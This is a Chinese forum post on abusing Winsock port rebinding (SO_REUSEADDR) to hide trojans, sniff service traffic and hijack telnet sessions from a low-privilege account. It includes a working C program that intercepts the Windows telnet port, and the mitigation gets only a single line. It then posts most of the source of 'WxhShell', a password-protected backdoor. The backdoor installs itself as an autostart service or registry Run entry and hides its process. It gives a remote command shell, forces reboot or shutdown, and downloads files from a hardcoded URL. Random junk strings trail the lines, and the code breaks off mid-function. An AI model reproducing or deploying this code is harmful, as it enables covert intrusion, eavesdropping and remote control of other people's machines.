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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 1 f=L8Dr  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f As:[  
gJ])A7O  
  saddr.sin_family = AF_INET; +K?h]v]%  
')BQ 0sg  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); bY>Ug{O;  
S;])Nt'X'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); !o@-kl  
t]x HM  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 EVf'1^f  
' |Oi#S  
  这意味着什么?意味着可以进行如下的攻击: k=@Q#=;*[W  
C$bK!]a  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (\}IOCNS  
[Ue>KG62=  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4Qd g t*  
^tah4QmUA  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 zE[c$KPP  
6-3l6q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  \; 3r  
L,WK L.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =4zsAa  
HiC\U%We  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9K49<u0O  
c_iF S  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \c]/4C +/  
1$^{Uma  
  #include 8p FSm>  
  #include R:e:B7O~0  
  #include 2d._X$fx7  
  #include    [ACYd/  
  DWORD WINAPI ClientThread(LPVOID lpParam);   G2Apm`/ y  
  int main() te|VKYN%}[  
  { e9 NHbq  
  WORD wVersionRequested; Cpj_mMtu  
  DWORD ret; .C #}g  
  WSADATA wsaData; \||PW58j  
  BOOL val; dw&Xg_$  
  SOCKADDR_IN saddr; eN$~@'w  
  SOCKADDR_IN scaddr; WFkXz*7B  
  int err; Pwq} ;+  
  SOCKET s; OD i)#  
  SOCKET sc; {M$1?j"7  
  int caddsize; ; etH)  
  HANDLE mt; O^f@ g l  
  DWORD tid;   TC2aD&cw{  
  wVersionRequested = MAKEWORD( 2, 2 ); 5}m2D='  
  err = WSAStartup( wVersionRequested, &wsaData ); 8]Pf:_e,+  
  if ( err != 0 ) {  u(BYRB  
  printf("error!WSAStartup failed!\n"); ~7ArH9k .  
  return -1; xH=&={  
  } B4.hJZ5  
  saddr.sin_family = AF_INET; d1,azM  
   E`i;9e'S  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "-hgeQX  
tly:$;K  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); PH]q#/'  
  saddr.sin_port = htons(23); H`y- "L8q  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) D1w_Vpz  
  { :>,d$f^tqE  
  printf("error!socket failed!\n"); M6e"4Gh  
  return -1; H1l' \  
  } %B~`bUHjq  
  val = TRUE; I@hC$o  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 FSM~Rl  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,^+3AT  
  { g~cWBr%>  
  printf("error!setsockopt failed!\n"); %|;^[^7+}t  
  return -1; WaH TzIa[  
  } i{`>!)U  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 8^^al!0K~  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 4yknX% [  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 H&GM q5)B  
H[Qh*pq2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _|*j8v3  
  { rOcfPLJi0  
  ret=GetLastError(); p* ^O 8o  
  printf("error!bind failed!\n"); N+r~\[N\9  
  return -1; 9oaq%Sf  
  } H fRxgA@  
  listen(s,2); ]Rw,5\0  
  while(1) bDr'W   
  { `xtN+y F  
  caddsize = sizeof(scaddr); c`iSe$eS  
  //接受连接请求 .D7\Hao  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); I($u L@$  
  if(sc!=INVALID_SOCKET) lFB Ka ,6  
  { Qc3 !FW<26  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 0 xPML}|V  
  if(mt==NULL) Db2G)63  
  { >6aCBS?2  
  printf("Thread Creat Failed!\n"); 9/nL3U@i1  
  break; P[Qr[74 )  
  } 9 Iw+g]`y*  
  } :!3P4?a  
  CloseHandle(mt); L\b$1U!i  
  } UP,(zKTA  
  closesocket(s); '8}\! i&  
  WSACleanup(); cd:O@)i  
  return 0; AD8~  
  }   Y &#<{j':  
  DWORD WINAPI ClientThread(LPVOID lpParam) 0AaN  
  { %~6+=*(\  
  SOCKET ss = (SOCKET)lpParam; "r[Ea|  
  SOCKET sc; tmm\V7sJ  
  unsigned char buf[4096]; p1 o?^A&  
  SOCKADDR_IN saddr; wo?C 7,-x  
  long num; [rQ#skf  
  DWORD val; V,>#!zUv  
  DWORD ret; / {A]('t  
  //如果是隐藏端口应用的话,可以在此处加一些判断 BkIvoW_  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "U yw7  
  saddr.sin_family = AF_INET; Q,s,EooIx  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); <H$CCo  
  saddr.sin_port = htons(23); ']qC,;2  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2)U3/TNe  
  { jL 2f74?1  
  printf("error!socket failed!\n"); A?_2@6Y^  
  return -1; ~>C!l k  
  } EmLPq!C  
  val = 100; yqoi2J:  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~ 9'64  
  { UH[ YH;3O  
  ret = GetLastError(); <q_H 3|  
  return -1; (=p}b:Z  
  } * yt/ Dj  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I{M2nQi  
  { {8t;nsdm!  
  ret = GetLastError(); 6k ^vF~  
  return -1; u]zb<)'_  
  } wl! 'Bck=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) EK#w: "  
  { FL`. (,  
  printf("error!socket connect failed!\n"); Q(%uDUg%  
  closesocket(sc); ,PY<AI^59  
  closesocket(ss); H9&? <j1n  
  return -1; SH5k^EJ  
  } L:'Y#VI{  
  while(1) S_\RQB\l  
  { t);5Cw _  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Cu!4ha.e`  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 J H$  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 uz*C`T0:rj  
  num = recv(ss,buf,4096,0); t[3Upe%  
  if(num>0) 8^M5u>=t;  
  send(sc,buf,num,0); ?p$WqVN}  
  else if(num==0) \Ud2]^D=  
  break; F.O2;M|x  
  num = recv(sc,buf,4096,0); Va9vDb6  
  if(num>0) E{j6OX\  
  send(ss,buf,num,0); /AWHG._  
  else if(num==0) 2y,~i;;_  
  break; 89WuxCFS  
  } jkfI,T  
  closesocket(ss); 2wu 5`Z[E  
  closesocket(sc); m@jOIt!<  
  return 0 ; +L_.XToq-  
  } H4%wq  
0{Tf;a<  
CMTy(Z8_)  
========================================================== |rNm_L2  
L5U>`lx6$  
下边附上一个代码,,WXhSHELL N\H(AzMw  
dLjT^ 9  
========================================================== _I@dt6oF  
+LrW#K;  
#include "stdafx.h" h#;yA"j1&  
}P^n /  
#include <stdio.h> /oWB7l&  
#include <string.h> p-ry{"XA  
#include <windows.h> ]QpR>b=[j  
#include <winsock2.h> :?lSa6de  
#include <winsvc.h> Wlt shZo  
#include <urlmon.h> ^GL0|G=(1  
X2o5Hc)l<  
#pragma comment (lib, "Ws2_32.lib") GhQ.}@*  
#pragma comment (lib, "urlmon.lib") k 9s3@S  
Xst&QKU  
#define MAX_USER   100 // 最大客户端连接数 4CNK ]2  
#define BUF_SOCK   200 // sock buffer .p0;y3so4  
#define KEY_BUFF   255 // 输入 buffer Ws(BouJ  
iPE-j#|  
#define REBOOT     0   // 重启 0k3^+#J  
#define SHUTDOWN   1   // 关机 +y-:(aP  
:<nL9y jt  
#define DEF_PORT   5000 // 监听端口 :@Q_oyWE8  
p%j@2U  
#define REG_LEN     16   // 注册表键长度 _gU [FUBtJ  
#define SVC_LEN     80   // NT服务名长度 Ih"f98lV  
^gv)[  
// 从dll定义API c L84}1QD  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]Y, 7 X  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~~h9yvW7&  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a)} ?rzT]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :%s9<g;-h_  
GT'%HmQI  
// wxhshell配置信息 A(<- U|  
struct WSCFG { > a^H7kp  
  int ws_port;         // 监听端口 Xr':/Qjf  
  char ws_passstr[REG_LEN]; // 口令 k9Yr&8B  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z73 ysn}  
  char ws_regname[REG_LEN]; // 注册表键名 ]>x674H  
  char ws_svcname[REG_LEN]; // 服务名 1q/z&@+B  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 JlG yGr^MD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 egKYlfe"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7rsrC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "%0RR?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `(16_a  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G.c s-f  
W>s<&Vb  
}; EEF}Wf$f  
W*VQ"CW{^]  
// default Wxhshell configuration >N44&W  
struct WSCFG wscfg={DEF_PORT, ? BBDk  
    "xuhuanlingzhe", M*@MkN*u&  
    1, e?F r/n  
    "Wxhshell", X/'B*y'=U  
    "Wxhshell", ?jb7Oq#[  
            "WxhShell Service", $YL} rM  
    "Wrsky Windows CmdShell Service", Jb_/c``  
    "Please Input Your Password: ", !07$aQYcd  
  1, e3',? 5j  
  "http://www.wrsky.com/wxhshell.exe", QULrE+@  
  "Wxhshell.exe" /&vUi7'  
    }; C$rZn%dp(  
o$2fML  
// 消息定义模块 BXLhi(.s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |nMbf  
char *msg_ws_prompt="\n\r? for help\n\r#>"; j^:\a\-1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; {dCkiF  
char *msg_ws_ext="\n\rExit."; ~d>O.*Q)  
char *msg_ws_end="\n\rQuit."; w[loV  
char *msg_ws_boot="\n\rReboot..."; JQI`9$asuC  
char *msg_ws_poff="\n\rShutdown..."; %M~Ugv_4v  
char *msg_ws_down="\n\rSave to "; I]TL#ywF   
 vUJb-  
char *msg_ws_err="\n\rErr!"; {:fyz#>>^  
char *msg_ws_ok="\n\rOK!"; uy7)9w  
V@T G"YF  
char ExeFile[MAX_PATH]; sE]eIN  
int nUser = 0; `5h$@  
HANDLE handles[MAX_USER]; `s@1'IG;R_  
int OsIsNt; qAkx52v6  
_es>G'S  
SERVICE_STATUS       serviceStatus; |A &Nv~.)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &Gxk~p<  
`[Kh[|  
// 函数声明 .LV=Z0ja  
int Install(void); 7*u0)Hog  
int Uninstall(void); !/Hln;{  
int DownloadFile(char *sURL, SOCKET wsh); 'g( R4deCX  
int Boot(int flag); ])0&el3-  
void HideProc(void); 3Qn! `  
int GetOsVer(void); b abDLaC@  
int Wxhshell(SOCKET wsl); ?T?%x(]I  
void TalkWithClient(void *cs); Xdw%Hw  
int CmdShell(SOCKET sock); YjLPW@  
int StartFromService(void); ^> ZQ:xs@(  
int StartWxhshell(LPSTR lpCmdLine); qo4AQ}0 <  
/|BzpIfpN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b- %7@j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3-tp94`8}t  
J:p nmZ`X  
// 数据结构和表定义 >P+V!-%#  
SERVICE_TABLE_ENTRY DispatchTable[] = x7t"@Gz  
{ 2VMau.eQ  
{wscfg.ws_svcname, NTServiceMain}, YIt:_][*  
{NULL, NULL} mn4j#-  
}; h jW RU#  
M[HPHNsA&  
// 自我安装 $ 'HiNP {c  
int Install(void) {h|3P/?7  
{ 5+giT5K*h  
  char svExeFile[MAX_PATH]; A#LK2II^  
  HKEY key; $Pl>T09d  
  strcpy(svExeFile,ExeFile); 2>?GD@GE  
Vs\ )w>JF  
// 如果是win9x系统,修改注册表设为自启动 SO8Ej)m  
if(!OsIsNt) { Po93&qE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $;"@;Lj%,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,_P(!7Z8  
  RegCloseKey(key); ml\7JW6Rx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Je+L8TB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !|,=rM9x  
  RegCloseKey(key); +=U`  
  return 0; %[;<'s5e~  
    } < _c84,[V  
  } 6WI_JbT~  
} 7A7K:,c  
else { {n #  
$F;$-2  
// 如果是NT以上系统,安装为系统服务 d ID] {  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K.*zqQKlI|  
if (schSCManager!=0) *s;$`8fM<  
{ 024*IoVZ  
  SC_HANDLE schService = CreateService c$@,*c 0n  
  ( nr-VzF7zu  
  schSCManager, !>gc!8Y'o  
  wscfg.ws_svcname, !W n'Ae9  
  wscfg.ws_svcdisp, }me]?en_Ra  
  SERVICE_ALL_ACCESS, irgjq/&d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Z/:( *FC  
  SERVICE_AUTO_START, !(l,+@j  
  SERVICE_ERROR_NORMAL, ojtcKw  
  svExeFile, ?AYI   
  NULL, k:`^KtBMl  
  NULL, /8J2,8vZ  
  NULL, SJIJV6}H  
  NULL, $(#o)r>_R  
  NULL T|ZT&x$z  
  ); ||9f@9  
  if (schService!=0) ?W%3>A  
  { Wb/@~!+i`  
  CloseServiceHandle(schService); rx|/]NE;  
  CloseServiceHandle(schSCManager); JnV$)EYi  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); - stSl*  
  strcat(svExeFile,wscfg.ws_svcname); ur9-F^$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lr,hF1r&Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {%b>/r  
  RegCloseKey(key); umI#P,%[  
  return 0; QO%>RG  
    } y#YCc{K [  
  } rQN+x|dKMb  
  CloseServiceHandle(schSCManager); %+xh  
} lT1*e(I  
} I{B8'n{cN  
klv^310  
return 1; Scxf5x-  
} Y2<Z"D`  
LEHlfB#z`@  
// 自我卸载 |I85]'K9a  
int Uninstall(void) q35%t61Lc  
{ 0v+5&Jk  
  HKEY key; <J[*~v%(  
nLdI>c9R  
if(!OsIsNt) { @fbvu_-].  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r{p?aG  
  RegDeleteValue(key,wscfg.ws_regname); B YNOgB1  
  RegCloseKey(key); )1lYfJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0`,a@Q4  
  RegDeleteValue(key,wscfg.ws_regname); %6kD^K-  
  RegCloseKey(key); N[dhNK"  
  return 0; q+|Dm<Ug  
  } [<8<+lH=P  
} pZ OVD%  
} {lx^57v  
else { 4'G<qJoc  
Lr40rLx;u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |Z#) 1K  
if (schSCManager!=0) 3U1xKF  
{ ^9qncvV  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;l}TUo  
  if (schService!=0) vJmE}  
  { @iao"&  
  if(DeleteService(schService)!=0) { ]5rEwPB  
  CloseServiceHandle(schService); DV{Qbe#In  
  CloseServiceHandle(schSCManager); B7N?"'$i  
  return 0; -%%2Pz0I  
  } N@;6/[8  
  CloseServiceHandle(schService); r|?2@VE  
  } [eG- &u  
  CloseServiceHandle(schSCManager); > YN<~z-  
} Tet,mzVuu  
} YNk?1#k?i  
,f} s!>j  
return 1; fvN2]@:  
} is#?O5:2  
G)'cd D1  
// 从指定url下载文件 E83{4A4  
int DownloadFile(char *sURL, SOCKET wsh)  1=W>zC  
{ UAUo)VVi"  
  HRESULT hr; )v0m7L v#/  
char seps[]= "/"; [$-y8`~(  
char *token; zx0{cNPK5  
char *file; rf^1%Zo:  
char myURL[MAX_PATH]; 1 9;\:tN  
char myFILE[MAX_PATH]; 0'RSl~QvqS  
4*F+-fu  
strcpy(myURL,sURL); \u",bMQF  
  token=strtok(myURL,seps); xqM R[W\x  
  while(token!=NULL) 'rq [P",  
  { oy/#,R_n%  
    file=token; jNrGsIY$  
  token=strtok(NULL,seps); j/dNRleab  
  } AGPZd9  
!3?HpR/nV  
GetCurrentDirectory(MAX_PATH,myFILE); >E[cl\5$E  
strcat(myFILE, "\\"); 6M259*ME  
strcat(myFILE, file); %hcY [F<  
  send(wsh,myFILE,strlen(myFILE),0); 6 )xm?RK  
send(wsh,"...",3,0); OC"W=[Myl  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); J"I{0>@  
  if(hr==S_OK) ^om(6JL2  
return 0; s.Yywy  
else .i@e6JE~;  
return 1; ECU:3KH>MF  
5I t+ S+a  
} O8 k$Uc  
1_XdL?h#o  
// 系统电源模块 $I>.w4G}  
int Boot(int flag) 8Qek![3^  
{ f>l}y->-Ug  
  HANDLE hToken; ,58D=EgFy  
  TOKEN_PRIVILEGES tkp; :);GeZ  
c KF 8(  
  if(OsIsNt) { F4Z+)'oDr,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LUw0MW(Moi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~{RXc+  
    tkp.PrivilegeCount = 1;  8(5}Jo+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ]?b#~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); X;ijCZb3b  
if(flag==REBOOT) { A2* z  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G#3 O^,m  
  return 0; #pE : !D  
} ^MQ7*g6o  
else { lN{-}f;TN  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /m.6NVu7  
  return 0; W@#)8];>  
} krI<'m;a  
  } 3QU<vdtr  
  else { O62H4oT  
if(flag==REBOOT) { V. \do"m  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) iHWl%]7sN  
  return 0; oT%~)g  
} Pou`PNvH  
else { f{k2sU*uBE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) PgxD?Oi8  
  return 0; q\[f$==p  
} >%'|@75K  
} |HhUU1!  
wM_k D  
return 1; l#V"14y  
} O .m; a_  
<gQw4  
// win9x进程隐藏模块 'SvYZ0ot  
void HideProc(void) 5Y_)%u  
{ JX`+b  
DY0G ;L 3  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); zF3fpEKe  
  if ( hKernel != NULL ) ?psvhB{O  
  { UR:cBr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7`|$uIM`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); T>.*c6I b  
    FreeLibrary(hKernel); Abd&p N  
  } !1w=_  
P*)}ENY  
return; ^)D[ W(*  
} _l{G Hz  
>Vn;1|w  
// 获取操作系统版本 '@ (WT~g  
int GetOsVer(void) Ef:.)!;jy  
{ 8u!!a^F  
  OSVERSIONINFO winfo; j<Lj1 P3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); rRly0H  
  GetVersionEx(&winfo); wh[XJ_xY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^e8~eL+  
  return 1; ` SZ^~O  
  else : H0+}=  
  return 0; W`C2zbC  
} ^ejU=0+cN  
%Z}A+Rv+*m  
// 客户端句柄模块 XGbtmmQG  
int Wxhshell(SOCKET wsl) _U|s!60'  
{ t"cGv32b  
  SOCKET wsh; 2E9Cp  
  struct sockaddr_in client; Pe6MDWR  
  DWORD myID; v2 T+I]I  
Q"h/o"-h  
  while(nUser<MAX_USER) 2,{m>fF  
{ _{_ybXG|  
  int nSize=sizeof(client); RLu y;z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [nZ3}o  
  if(wsh==INVALID_SOCKET) return 1; pd?3_yU  
&}_E~jKK  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4onRO!G,  
if(handles[nUser]==0) w4\b^iJz  
  closesocket(wsh); f R$E*Jd  
else /. k4Y  
  nUser++; iSCv/Gb:,  
  } }te\) Yk.N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Uf}s6#   
U3}r.9/  
  return 0; u]lf~EE  
} N,0l5fD~T  
kAsYh4[  
// 关闭 socket 6",S$3q  
void CloseIt(SOCKET wsh) wR@&C\}9  
{ $!h21  
closesocket(wsh); <7NY.zvwk]  
nUser--; .DR^<Qy  
ExitThread(0); -aK_  
} 5(W`{{AW  
$p#)xx7  
// 客户端请求句柄 80TSE*  
void TalkWithClient(void *cs) v9QR,b` n  
{ />=)=CGv;  
..`J-k  
  SOCKET wsh=(SOCKET)cs; ;7Cb!v1  
  char pwd[SVC_LEN]; [xe(FFl+  
  char cmd[KEY_BUFF]; g <S&sYF5  
char chr[1]; !ba /] A/  
int i,j; Cbv$O o*  
}pxMO? h$  
  while (nUser < MAX_USER) { e<2?O  
K;^$n>Y  
if(wscfg.ws_passstr) { ZV=O oL t,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); \bNN]=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xfZ.  
  //ZeroMemory(pwd,KEY_BUFF); 9y"R,  
      i=0; yAz`n[  
  while(i<SVC_LEN) { z UN&L7D  
8,d<&3D  
  // 设置超时 .-2i9Bh6  
  fd_set FdRead; dF$a52LS  
  struct timeval TimeOut; lO&TSPD^  
  FD_ZERO(&FdRead); v[~e=^IIsl  
  FD_SET(wsh,&FdRead); 6g06s @kz  
  TimeOut.tv_sec=8; 7VQ|3`!<  
  TimeOut.tv_usec=0; 5i `q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Gw%P5 r}Y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >={?H?C  
s$Z zS2d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xXkP(^ Y  
  pwd=chr[0]; VUAW/  
  if(chr[0]==0xd || chr[0]==0xa) { 8@ y@}  
  pwd=0; O75^(keW  
  break; @AET.qGC  
  } y;aZMT.YI  
  i++; ,kS3Ioj  
    } M+4>l\   
fl%X>\i/7  
  // 如果是非法用户,关闭 socket {6d)|';%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vcm66J.14  
} 8s^CE[TA  
Awy-kou[C  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =M39I&N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6xI9 %YDy  
2UqLV^ZY  
while(1) { EMK>7 aks  
4L<h% 'Zn  
  ZeroMemory(cmd,KEY_BUFF); za$v I?ux  
_ zM/>Qa  
      // 自动支持客户端 telnet标准   G?Fqm@J{XT  
  j=0; $hv o^$  
  while(j<KEY_BUFF) { gT3i{iU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n~`1KC4  
  cmd[j]=chr[0]; zb<YYJ]  
  if(chr[0]==0xa || chr[0]==0xd) { B'sgCU  
  cmd[j]=0; R)}ab{A  
  break; pgNyLgN  
  } $6 46"1S  
  j++; bp"@vlv  
    } pHO,][VZ  
pYXusS7S  
  // 下载文件 ^&^~LKl~  
  if(strstr(cmd,"http://")) { >|[ l?`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H$G`e'`OZ  
  if(DownloadFile(cmd,wsh)) N`o[iHUj \  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V+04X"  
  else vSyR% j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YS$42J_T  
  } S: b-+w|*  
  else { ]dvNUD   
m[l[yUw#  
    switch(cmd[0]) { <<#j?%  
  ~%.<rc0  
  // 帮助 C|or2  
  case '?': { #>[BSgW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .r=F'i}-j*  
    break; b9 Gq';o  
  } 5SOl:{A +  
  // 安装 1^R[kaY  
  case 'i': { v2ab  
    if(Install()) J*I G]2'H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QV&yVH=Xs  
    else k+nfW]UNF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IhRWa|{I  
    break; l:Hm|9UZ  
    } .A6i?iROe  
  // 卸载 fm u;Pb]r  
  case 'r': { a8Va3Y  
    if(Uninstall()) o'#ow(X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A.[~}ywH  
    else %t.L;G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cZVVJUF  
    break; +c&oF,=}!P  
    } w6cW7}ZD,  
  // 显示 wxhshell 所在路径 9?xD"Z   
  case 'p': { E$8 D^Zt  
    char svExeFile[MAX_PATH]; r:xbs0 7  
    strcpy(svExeFile,"\n\r"); 6 +2M$3_U  
      strcat(svExeFile,ExeFile); eG&3E`[  
        send(wsh,svExeFile,strlen(svExeFile),0); v%|S)^c?:  
    break; VyF|d? b  
    } >)+ -:  
  // 重启 3_5]0:?]-  
  case 'b': { ZjB]pG+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z+~klv 3  
    if(Boot(REBOOT)) }4dbS ;C<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8(jUCD  
    else { \7\7i-Vo  
    closesocket(wsh); {D>@ZC  
    ExitThread(0); EklcnM|6  
    } V{D~e0i/v  
    break; d[( }  
    } z yh #ygH  
  // 关机 kiP-^Wan  
  case 'd': { ,SVl>~!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); q$ZmR]p  
    if(Boot(SHUTDOWN)) &N+i3l6`  
